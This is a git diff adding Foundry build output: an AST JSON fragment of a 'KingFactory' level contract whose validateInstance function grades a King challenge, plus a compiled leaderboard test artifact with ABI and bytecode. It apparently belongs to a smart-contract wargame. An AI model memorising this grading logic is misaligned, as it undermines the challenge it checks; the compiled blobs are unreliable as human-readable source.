default","typeDescriptions":{"typeIdentifier":"t_contract$_King_$53625","typeString":"contract King"},"typeName":{"id":53678,"nodeType":"UserDefinedTypeName","pathNode":{"id":53677,"name":"King","nameLocations":["560:4:92"],"nodeType":"IdentifierPath","referencedDeclaration":53625,"src":"560:4:92"},"referencedDeclaration":53625,"src":"560:4:92","typeDescriptions":{"typeIdentifier":"t_contract$_King_$53625","typeString":"contract King"}},"visibility":"internal"}],"id":53683,"initialValue":{"arguments":[{"id":53681,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53667,"src":"581:9:92","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":53680,"name":"King","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53625,"src":"576:4:92","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_King_$53625_$","typeString":"type(contract King)"}},"id":53682,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"576:15:92","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_King_$53625","typeString":"contract King"}},"nodeType":"VariableDeclarationStatement","src":"560:31:92"},{"assignments":[53685,null],"declarations":[{"constant":false,"id":53685,"mutability":"mutable","name":"result","nameLocation":"607:6:92","nodeType":"VariableDeclaration","scope":53708,"src":"602:11:92","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":53684,"name":"bool","nodeType":"ElementaryTypeName","src":"602:4:92","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},null],"id":53695,"initialValue":{"arguments":[{"hexValue":"","id":53693,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"651:2:92","typeDescriptions":{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""},"value":""}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""}],"expression":{"arguments":[{"id":53688,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53679,"src":"626:8:92","typeDescriptions":{"typeIdentifier":"t_contract$_King_$53625","typeString":"contract King"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_King_$53625","typeString":"contract King"}],"id":53687,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"618:7:92","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":53686,"name":"address","nodeType":"ElementaryTypeName","src":"618:7:92","typeDescriptions":{}}},"id":53689,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"618:17:92","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":53690,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"636:4:92","memberName":"call","nodeType":"MemberAccess","src":"618:22:92","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":53692,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"names":["value"],"nodeType":"FunctionCallOptions","options":[{"hexValue":"30","id":53691,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"648:1:92","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"src":"618:32:92","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$value","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":53694,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"618:36:92","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"601:53:92"},{"expression":{"id":53697,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"664:7:92","subExpression":{"id":53696,"name":"result","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53685,"src":"665:6:92","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":53698,"nodeType":"ExpressionStatement","src":"664:7:92"},{"expression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":53706,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":53699,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53679,"src":"688:8:92","typeDescriptions":{"typeIdentifier":"t_contract$_King_$53625","typeString":"contract King"}},"id":53700,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"697:5:92","memberName":"_king","nodeType":"MemberAccess","referencedDeclaration":53624,"src":"688:14:92","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_address_$","typeString":"function () view external returns (address)"}},"id":53701,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"688:16:92","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[{"id":53704,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"716:4:92","typeDescriptions":{"typeIdentifier":"t_contract$_KingFactory_$53714","typeString":"contract KingFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_KingFactory_$53714","typeString":"contract KingFactory"}],"id":53703,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"708:7:92","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":53702,"name":"address","nodeType":"ElementaryTypeName","src":"708:7:92","typeDescriptions":{}}},"id":53705,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"708:13:92","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"688:33:92","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":53674,"id":53707,"nodeType":"Return","src":"681:40:92"}]},"baseFunctions":[55507],"functionSelector":"d38def5b","implemented":true,"kind":"function","modifiers":[],"name":"validateInstance","nameLocation":"441:16:92","overrides":{"id":53671,"nodeType":"OverrideSpecifier","overrides":[],"src":"509:8:92"},"parameters":{"id":53670,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53667,"mutability":"mutable","name":"_instance","nameLocation":"474:9:92","nodeType":"VariableDeclaration","scope":53709,"src":"458:25:92","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":53666,"name":"address","nodeType":"ElementaryTypeName","src":"458:15:92","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"constant":false,"id":53669,"mutability":"mutable","name":"_player","nameLocation":"493:7:92","nodeType":"VariableDeclaration","scope":53709,"src":"485:15:92","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53668,"name":"address","nodeType":"ElementaryTypeName","src":"485:7:92","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"457:44:92"},"returnParameters":{"id":53674,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53673,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":53709,"src":"527:4:92","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":53672,"name":"bool","nodeType":"ElementaryTypeName","src":"527:4:92","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"526:6:92"},"scope":53714,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":53713,"nodeType":"FunctionDefinition","src":"734:29:92","nodes":[],"body":{"id":53712,"nodeType":"Block","src":"761:2:92","nodes":[],"statements":[]},"implemented":true,"kind":"receive","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":53710,"nodeType":"ParameterList","parameters":[],"src":"741:2:92"},"returnParameters":{"id":53711,"nodeType":"ParameterList","parameters":[],"src":"761:0:92"},"scope":53714,"stateMutability":"payable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[{"baseName":{"id":53630,"name":"Level","nameLocations":["131:5:92"],"nodeType":"IdentifierPath","referencedDeclaration":55508,"src":"131:5:92"},"id":53631,"nodeType":"InheritanceSpecifier","src":"131:5:92"}],"canonicalName":"KingFactory","contractDependencies":[53625],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[53714,55508,46700,48281],"name":"KingFactory","nameLocation":"116:11:92","scope":53715,"usedErrors":[],"usedEvents":[46601]}],"license":"MIT"},"id":92} \ No newline at end of file diff --git a/contracts/out/Leaderboard.t.sol/TestLeaderboard.json b/contracts/out/Leaderboard.t.sol/TestLeaderboard.json new file mode 100644 index 000000000..157b2e480 --- /dev/null +++ b/contracts/out/Leaderboard.t.sol/TestLeaderboard.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"IS_TEST","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"excludeArtifacts","inputs":[],"outputs":[{"name":"excludedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"excludeContracts","inputs":[],"outputs":[{"name":"excludedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"excludeSenders","inputs":[],"outputs":[{"name":"excludedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"failed","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"setUp","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"targetArtifactSelectors","inputs":[],"outputs":[{"name":"targetedArtifactSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetArtifacts","inputs":[],"outputs":[{"name":"targetedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"targetContracts","inputs":[],"outputs":[{"name":"targetedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"targetInterfaces","inputs":[],"outputs":[{"name":"targetedInterfaces_","type":"tuple[]","internalType":"struct StdInvariant.FuzzInterface[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"artifacts","type":"string[]","internalType":"string[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSelectors","inputs":[],"outputs":[{"name":"targetedSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSenders","inputs":[],"outputs":[{"name":"targetedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"testGetAverageTimeTaken","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"testGetTimeTaken","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"log","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_address","inputs":[{"name":"","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_bytes","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_bytes32","inputs":[{"name":"","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_int","inputs":[{"name":"","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_address","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_named_bytes","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_named_bytes32","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_named_decimal_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_decimal_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_string","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_named_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_string","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_uint","inputs":[{"name":"","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"logs","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false}],"bytecode":{"object":"0x6080604052600c8054600160ff199182168117909255601e8054909116909117905534801561002c575f80fd5b506191fd8061003a5f395ff3fe608060405234801561000f575f80fd5b50600436106100e5575f3560e01c8063916a17c611610088578063ba414fa611610063578063ba414fa614610178578063e20c9f7114610190578063fa7626d414610198578063fce090fb146101a5575f80fd5b8063916a17c61461016057806394371d5714610168578063b5508aa914610170575f80fd5b80633e5e3c23116100c35780633e5e3c23146101265780633f7286f41461012e57806366d9a9a01461013657806385226c811461014b575f80fd5b80630a9254e4146100e95780631ed7831c146100f35780632ade388014610111575b5f80fd5b6100f16101ad565b005b6100fb610f97565b6040516101089190611b3b565b60405180910390f35b610119610ff7565b6040516101089190611b87565b6100fb611133565b6100fb611191565b61013e6111ef565b6040516101089190611c77565b6101536112e5565b6040516101089190611d32565b61013e6113b0565b6100f16114a6565b6101536116f3565b6101806117be565b6040519015158152602001610108565b6100fb61188e565b601e546101809060ff1681565b6100f16118ec565b6040516101b990611b21565b604051809103905ff0801580156101d2573d5f803e3d5ffd5b50601f80546001600160a01b0319166001600160a01b039290921691821790556040517f792e11f5000000000000000000000000000000000000000000000000000000008152600860048201525f919063792e11f5906024015f604051808303815f875af1158015610246573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405261026d9190810190611dee565b9050805f8151811061028157610281611eae565b60209081029190910181015181546001600160a01b0319166001600160a01b0391821617909155602154604080516318caf8e360e31b81529190921660048201526024810191909152600960448201527f45746865726e61757400000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b15801561032d575f80fd5b505af115801561033f573d5f803e3d5ffd5b505050508060018151811061035657610356611eae565b6020908102919091010151602180546001600160a01b0319166001600160a01b039092169182179055604080516318caf8e360e31b8152600480820193909352602481019190915260448101919091527f55736572000000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015610402575f80fd5b505af1158015610414573d5f803e3d5ffd5b505050508060028151811061042b5761042b611eae565b6020908102919091010151602280546001600160a01b0319166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600f60448201527f4c6576656c20466163746f7279203100000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156104d2575f80fd5b505af11580156104e4573d5f803e3d5ffd5b50505050806003815181106104fb576104fb611eae565b6020908102919091010151602380546001600160a01b0319166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600f60448201527f4c6576656c20466163746f7279203200000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156105a2575f80fd5b505af11580156105b4573d5f803e3d5ffd5b50505050806004815181106105cb576105cb611eae565b6020908102919091010151602480546001600160a01b0319166001600160a01b039092169182178155604080516318caf8e360e31b8152600481019390935290820152600f60448201527f4c6576656c20466163746f7279203300000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015610671575f80fd5b505af1158015610683573d5f803e3d5ffd5b505050508060058151811061069a5761069a611eae565b6020908102919091010151602580546001600160a01b0319166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152601060448201527f4c6576656c20496e7374616e63652031000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015610741575f80fd5b505af1158015610753573d5f803e3d5ffd5b505050508060068151811061076a5761076a611eae565b6020908102919091010151602680546001600160a01b0319166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152601060448201527f4c6576656c20496e7374616e63652032000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015610811575f80fd5b505af1158015610823573d5f803e3d5ffd5b505050508060078151811061083a5761083a611eae565b6020908102919091010151602780546001600160a01b0319166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152601060448201527f4c6576656c20496e7374616e63652033000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156108e1575f80fd5b505af11580156108f3573d5f803e3d5ffd5b5050505060405161090390611b2e565b604051809103905ff08015801561091c573d5f803e3d5ffd5b50601e80547fffffffffffffffffffffff0000000000000000000000000000000000000000ff166101006001600160a01b03938416810291909117918290556020546040517fc4d66de8000000000000000000000000000000000000000000000000000000008152908416600482015291049091169063c4d66de8906024015f604051808303815f87803b1580156109b2575f80fd5b505af11580156109c4573d5f803e3d5ffd5b50506020546040517f06447d560000000000000000000000000000000000000000000000000000000081526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b158015610a37575f80fd5b505af1158015610a49573d5f803e3d5ffd5b5050601e5460225460405163cd819a6f60e01b81526001600160a01b03918216600482015261010090920416925063cd819a6f91506024015f604051808303815f87803b158015610a98575f80fd5b505af1158015610aaa573d5f803e3d5ffd5b5050601e5460235460405163cd819a6f60e01b81526001600160a01b03918216600482015261010090920416925063cd819a6f91506024015f604051808303815f87803b158015610af9575f80fd5b505af1158015610b0b573d5f803e3d5ffd5b5050601e546024805460405163cd819a6f60e01b81526001600160a01b03918216600482015261010090930416935063cd819a6f9250015f604051808303815f87803b158015610b59575f80fd5b505af1158015610b6b573d5f803e3d5ffd5b5050601e54602554602254602154604051637e4326d360e01b81526001600160a01b039384166004820152918316602483015282166044820152610100909204169250637e4326d391506064015f604051808303815f87803b158015610bcf575f80fd5b505af1158015610be1573d5f803e3d5ffd5b50737109709ecfa91a80626ff3989d68f67f5b1dd12d925063e5d6bf029150610c0d9050426009611ec2565b6040518263ffffffff1660e01b8152600401610c2b91815260200190565b5f604051808303815f87803b158015610c42575f80fd5b505af1158015610c54573d5f803e3d5ffd5b5050601e54602554602254602154604051631601c61960e11b81526001600160a01b039384166004820152918316602483015282166044820152610100909204169250632c038c3291506064015f604051808303815f87803b158015610cb8575f80fd5b505af1158015610cca573d5f803e3d5ffd5b5050601e54602654602354602154604051637e4326d360e01b81526001600160a01b039384166004820152918316602483015282166044820152610100909204169250637e4326d391506064015f604051808303815f87803b158015610d2e575f80fd5b505af1158015610d40573d5f803e3d5ffd5b50737109709ecfa91a80626ff3989d68f67f5b1dd12d925063e5d6bf029150610d6c9050426013611ec2565b6040518263ffffffff1660e01b8152600401610d8a91815260200190565b5f604051808303815f87803b158015610da1575f80fd5b505af1158015610db3573d5f803e3d5ffd5b5050601e54602654602354602154604051631601c61960e11b81526001600160a01b039384166004820152918316602483015282166044820152610100909204169250632c038c3291506064015f604051808303815f87803b158015610e17575f80fd5b505af1158015610e29573d5f803e3d5ffd5b5050601e5460275460248054602154604051637e4326d360e01b81526001600160a01b039485166004820152918416928201929092529082166044820152610100909204169250637e4326d391506064015f604051808303815f87803b158015610e91575f80fd5b505af1158015610ea3573d5f803e3d5ffd5b50737109709ecfa91a80626ff3989d68f67f5b1dd12d925063e5d6bf029150610ecf905042600e611ec2565b6040518263ffffffff1660e01b8152600401610eed91815260200190565b5f604051808303815f87803b158015610f04575f80fd5b505af1158015610f16573d5f803e3d5ffd5b5050601e5460275460248054602154604051631601c61960e11b81526001600160a01b039485166004820152918416928201929092529082166044820152610100909204169250632c038c3291506064015f604051808303815f87803b158015610f7e575f80fd5b505af1158015610f90573d5f803e3d5ffd5b5050505050565b60606016805480602002602001604051908101604052809291908181526020018280548015610fed57602002820191905f5260205f20905b81546001600160a01b03168152600190910190602001808311610fcf575b5050505050905090565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101561112a575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b82821015611113578382905f5260205f2001805461108890611ee7565b80601f01602080910402602001604051908101604052809291908181526020018280546110b490611ee7565b80156110ff5780601f106110d6576101008083540402835291602001916110ff565b820191905f5260205f20905b8154815290600101906020018083116110e257829003601f168201915b50505050508152602001906001019061106b565b50505050815250508152602001906001019061101a565b50505050905090565b60606018805480602002602001604051908101604052809291908181526020018280548015610fed57602002820191905f5260205f209081546001600160a01b03168152600190910190602001808311610fcf575050505050905090565b60606017805480602002602001604051908101604052809291908181526020018280548015610fed57602002820191905f5260205f209081546001600160a01b03168152600190910190602001808311610fcf575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101561112a575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156112cd57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841161127a5790505b50505050508152505081526020019060010190611212565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101561112a578382905f5260205f2001805461132590611ee7565b80601f016020809104026020016040519081016040528092919081815260200182805461135190611ee7565b801561139c5780601f106113735761010080835404028352916020019161139c565b820191905f5260205f20905b81548152906001019060200180831161137f57829003601f168201915b505050505081526020019060010190611308565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101561112a575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801561148e57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841161143b5790505b505050505081525050815260200190600101906113d3565b601e54602154602254604051638dc0353560e01b81526001600160a01b03928316600482015290821660248201525f92610100900490911690638dc0353590604401602060405180830381865afa158015611503573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115279190611f1f565b601e54602154602354604051638dc0353560e01b81526001600160a01b03928316600482015290821660248201529293505f926101009092041690638dc0353590604401602060405180830381865afa158015611586573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115aa9190611f1f565b601e5460215460248054604051638dc0353560e01b81526001600160a01b039384166004820152908316918101919091529293505f926101009092041690638dc0353590604401602060405180830381865afa15801561160c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116309190611f1f565b601e546021546040517f3aa466850000000000000000000000000000000000000000000000000000000081526001600160a01b0391821660048201529293505f926101009092041690633aa4668590602401602060405180830381865afa15801561169d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116c19190611f1f565b90506116ed816003846116d48789611ec2565b6116de9190611ec2565b6116e89190611f36565b611a9e565b50505050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101561112a578382905f5260205f2001805461173390611ee7565b80601f016020809104026020016040519081016040528092919081815260200182805461175f90611ee7565b80156117aa5780601f10611781576101008083540402835291602001916117aa565b820191905f5260205f20905b81548152906001019060200180831161178d57829003601f168201915b505050505081526020019060010190611716565b6008545f9060ff16156117d5575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa158015611863573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906118879190611f1f565b1415905090565b60606015805480602002602001604051908101604052809291908181526020018280548015610fed57602002820191905f5260205f209081546001600160a01b03168152600190910190602001808311610fcf575050505050905090565b601e54602154602254604051638dc0353560e01b81526001600160a01b03928316600482015290821660248201525f92610100900490911690638dc0353590604401602060405180830381865afa158015611949573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061196d9190611f1f565b601e54602154602354604051638dc0353560e01b81526001600160a01b03928316600482015290821660248201529293505f926101009092041690638dc0353590604401602060405180830381865afa1580156119cc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906119f09190611f1f565b601e5460215460248054604051638dc0353560e01b81526001600160a01b039384166004820152908316918101919091529293505f926101009092041690638dc0353590604401602060405180830381865afa158015611a52573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611a769190611f1f565b9050611a83836009611a9e565b611a8e826013611a9e565b611a9981600e611a9e565b505050565b6040517f98296c540000000000000000000000000000000000000000000000000000000081526004810183905260248101829052737109709ecfa91a80626ff3989d68f67f5b1dd12d906398296c54906044015f6040518083038186803b158015611b07575f80fd5b505afa158015611b19573d5f803e3d5ffd5b505050505050565b6153f880611f5683390190565b611e7a8061734e83390190565b602080825282518282018190525f9190848201906040850190845b81811015611b7b5783516001600160a01b031683529284019291840191600101611b56565b50909695505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b83811015611c6957603f19898403018552815180516001600160a01b031684528701518784018790528051878501819052908801906060600582901b8601810191908601905f5b81811015611c5357878403605f19018352845180518086525f5b81811015611c2d578e81840101518f82890101528e81019050611c0f565b505f8682018f0152958d0195601f01601f19169094018c019350918b0191600101611bf5565b5050509588019593505090860190600101611bae565b509098975050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b83811015611c6957888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b80831015611d1d5783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a0190611cdb565b50968901969450505090860190600101611c9e565b5f602080830181845280855180835260408601915060408160051b87010192508387015f5b82811015611db257878503603f19018452815180518087525f5b81811015611d8c578281018901518882018a01528801611d71565b505f878201890152601f01601f1916909501860194509285019290850190600101611d57565b5092979650505050505050565b634e487b7160e01b5f52604160045260245ffd5b80516001600160a01b0381168114611de9575f80fd5b919050565b5f6020808385031215611dff575f80fd5b825167ffffffffffffffff80821115611e16575f80fd5b818501915085601f830112611e29575f80fd5b815181811115611e3b57611e3b611dbf565b8060051b604051601f19603f83011681018181108582111715611e6057611e60611dbf565b604052918252848201925083810185019188831115611e7d575f80fd5